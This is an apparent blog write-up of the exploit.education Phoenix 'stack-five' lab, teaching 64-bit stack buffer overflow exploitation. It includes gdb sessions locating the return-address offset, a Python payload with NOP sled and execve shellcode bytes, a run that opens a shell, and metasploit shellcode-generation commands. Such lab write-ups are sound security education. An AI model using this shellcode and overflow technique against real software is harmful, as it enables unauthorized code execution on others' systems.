02 February 2019

Stack 5

Write-up for: Stack Five

We will use this example as an intro to 64-bit exploitation (mostly because I failed the 32-bit version :P)

  1. Identify the vulnerability

The call to gets in start_level is not bounds-checked. Thus, we can overflow the buffer variable by providing input longer than 128 bytes. The goal is to overwrite the stored return address and jump to our own shellcode.

  1. Plan of action

Since there is no ASLR and the stack is executable, our payload should look something like this on the stack:

[NOP sled]
[execve("/bin/dash") shellcode]
[NOP padding]
[Address of buffer to return to NOP sled]
  1. Exploit development

In order to exploit this bug, we must first find the address of the buffer and, more importantly, the offset of the return address. We’ll use gdb:

(gdb) disas main
Dump of assembler code for function main:
0x00000000004005a4 <+0>:     push   %rbp
0x00000000004005a5 <+1>:     mov    %rsp,%rbp
0x00000000004005a8 <+4>:     sub    $0x10,%rsp
0x00000000004005ac <+8>:     mov    %edi,-0x4(%rbp)
0x00000000004005af <+11>:    mov    %rsi,-0x10(%rbp)
0x00000000004005b3 <+15>:    mov    $0x400620,%edi
0x00000000004005b8 <+20>:    callq  0x400400 <puts@plt>
0x00000000004005bd <+25>:    mov    $0x0,%eax
0x00000000004005c2 <+30>:    callq  0x40058d <start_level>
0x00000000004005c7 <+35>:    mov    $0x0,%eax

To find the stack address of the stored return address we can set a breakpoint in start_level and inspect the stack. On the stack, we are looking for 4005c7because this is where we will return to. We can additionally provide some input to the program to find the address of the buffer variable.

(gdb) break start_level
Breakpoint 1 at 0x400591

(gdb) disas start_level
Dump of assembler code for function start_level:
0x000000000040058d <+0>:     push   %rbp
0x000000000040058e <+1>:     mov    %rsp,%rbp
=> 0x0000000000400591 <+4>:     add    $0xffffffffffffff80,%rsp
0x0000000000400595 <+8>:     lea    -0x80(%rbp),%rax
0x0000000000400599 <+12>:    mov    %rax,%rdi
0x000000000040059c <+15>:    callq  0x4003f0 <gets@plt>
0x00000000004005a1 <+20>:    nop
0x00000000004005a2 <+21>:    leaveq
0x00000000004005a3 <+22>:    retq
End of assembler dump.

(gdb) break *start_level+20
Breakpoint 2 at 0x4005a1

(gdb) c

Breakpoint 2, 0x00000000004005a1 in start_level ()

(gdb) x/64xw $rsp
0x7fffffffe490: 0x41414141      0x00000041      0x00400620      0x00000000
0x7fffffffe4a0: 0x004005a4      0x00000000      0x00000000      0x00000000
0x7fffffffe4b0: 0x00000000      0x00000000      0xf7db6dde      0x00007fff
0x7fffffffe4c0: 0x004005a4      0x00000000      0x00680037      0x00000000
0x7fffffffe4d0: 0x00000000      0x00000000      0xf7db6b1e      0x00007fff
0x7fffffffe4e0: 0xf7ffb300      0x00007fff      0x00000000      0x0a000000
0x7fffffffe4f0: 0xf7ffb300      0x00007fff      0xf7db9934      0x00007fff
0x7fffffffe500: 0xffffe588      0x00007fff      0xffffe530      0x00007fff
0x7fffffffe510: 0xffffe530      0x00007fff      0x004005c7      0x00000000
0x7fffffffe520: 0xffffe588      0x00007fff      0x00000000      0x00000001
0x7fffffffe530: 0x00000001      0x00000000      0xf7d8fd62      0x00007fff
0x7fffffffe540: 0x00000000      0x00000000      0xffffe580      0x00007fff
0x7fffffffe550: 0x00000000      0x00000000      0xf7ffdbc8      0x00007fff
0x7fffffffe560: 0x00003e00      0x04000001      0x00400459      0x00000000
0x7fffffffe570: 0x00000000      0x00000000      0x00400436      0x00000000
0x7fffffffe580: 0x00000001      0x00000000      0xffffe7cc      0x00007fff

First, we break on start_level to then disassemble the function to find the end of the function. Note that we could have directly disassembled the function saving us one breakpoint. We run the program with some valid input. Then we inspect the stack (note, it’s $rsp instead of $esp. We’re dealing with a 64-bit register now).

Inspecting the stack gives us the following data:

  • buffer address: 0x7fffffffe490
  • return address location: 0x7fffffffe518
  • offset: 136

Using this information we can craft a payload:

buf = "\x90" * 20
buf += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
buf += "\x90"* (136 - len(buf)) + "\x7f\xff\xff\xff\xe4\xe0"[::-1]
print buf

The shellcode is from http://shell-storm.org/shellcode/files/shellcode-806.php

We start with a NOP sled to give us some flexibility with the exact location of the shellcode. Next, we place our shellcode in the buffer. This is what will be executed later. We fill the remaining space of the buffer with NOPs and overwrite the non-null part of the stored return address with what we believe is an address somewhere in our NOP sled.

It’s very important to note that the location of the stack might differ in gdb since it places additional environment variables before the stack. To emulate a more realistic execution environment, you can unset these variables in gdb before executing the program:

unset env LINES
unset env COLUMNS

See also: https://reverseengineering.stackexchange.com/questions/2995/illegal-instruction-exploiting-sample-buffer-overflow-code

Even then, some experimentation with the return address and the length of the NOP slide might be required.


Now we are ready to run the exploit:

user@phoenix-amd64:/opt/phoenix/amd64$ python ~/stack-five.py > ~/stack-five
user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-five < ~/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education

Nothing happened? The reason is that using input redirection with < immediately terminates the program once the end of input is reached. Instead we need to pipe in the input with cat ~/stack-five - | ./stack-five. The - keeps stdin open.

user@phoenix-amd64:/opt/phoenix/amd64$ whoami
user@phoenix-amd64:/opt/phoenix/amd64$ cat ~/stack-five - | ./stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education

We popped a shell! Awesome :)

Alternative, generate shellcode with metasploit

  use payload/linux/x64/exec
  set CMD /bin/sh
  generate -b '\x00' -f python